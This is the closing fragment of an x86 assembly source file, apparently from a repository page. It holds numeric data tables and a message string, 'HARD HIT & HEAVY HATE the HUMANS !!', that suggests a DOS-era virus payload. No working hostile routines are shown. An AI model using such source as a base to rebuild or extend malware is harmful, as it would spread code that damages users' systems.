DW 17,-31,34,0,-29,40,-19,-26,37,-35,-24,25
|
||||
DW -44,-21,7,-44,-18,-14,-33,-15,-33,-14,-12,-46
|
||||
DW 7,-9,-48,29,-6,-40,44,-3,-22,49,0,0
|
||||
patt: DB 0, 0, 0, 0, 0, 1, 1, 2, 4, 5, 7, 9,11,14,17,20,23,27
|
||||
db 31,35,40,45,50,56,61,67,73,80,86,93
|
||||
|
||||
|
||||
|
||||
mess db 'HARD HIT & HEAVY HATE the HUMANS !!'
|
||||
db ' [ H.H.& H.H. the H. ] '
|
||||
drt dw 5 dup (0)
|
||||
memory:
|
||||
CODE ENDS
|
||||
|
||||
END START
|
||||
Reference in New Issue
Block a user